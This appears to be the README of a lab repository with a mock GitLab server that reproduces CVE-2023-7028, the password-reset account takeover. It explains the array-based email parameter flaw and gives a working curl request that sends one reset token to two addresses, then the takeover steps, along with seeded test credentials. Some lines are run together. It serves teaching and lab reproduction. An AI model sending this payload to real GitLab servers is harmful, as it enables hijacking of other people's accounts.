feartheploto/gitlab-cve-2023-7028Mock vulnerable GitLab instance reproducing CVE-2023-7028 password reset hijack. Demonstrates array-based email parameter exploitation and account takeover. For educational lab use only.
CVE-2023-7028 (CVSS 10.0): POST /users/password accepted user[email][] array — server found user by email[0] but sent the same reset token to every address → attacker with [email protected] hijacks [email protected].
Affected: GitLab CE/EE <16.5.6, <16.6.4, <16.7.2. This mock reproduces 16.6.0 vulnerable flow (JSON DB, no SMTP).
npm install && npm start → http://127.0.0.1:3000 (or PORT=3001 npm start; auto-retries if busy; localhost only).
Seeded: [email protected]/s3cur3P@ss!, , in .
[email protected]/BobSecure1![email protected]/5iveL!fedata/users.jsoncurl -X POST http://127.0.0.1:3000/users/password -d "user[email][][email protected]&user[email][][email protected]"
Check http://127.0.0.1:3000/mailbox or /api/emails — both get same token. Open .../users/password/edit?reset_password_token=TOKEN to take over.
Normal: user[email][email protected] → one mail. Mailbox shows every mail; nothing leaves host.
MIT — lab only, do not expose.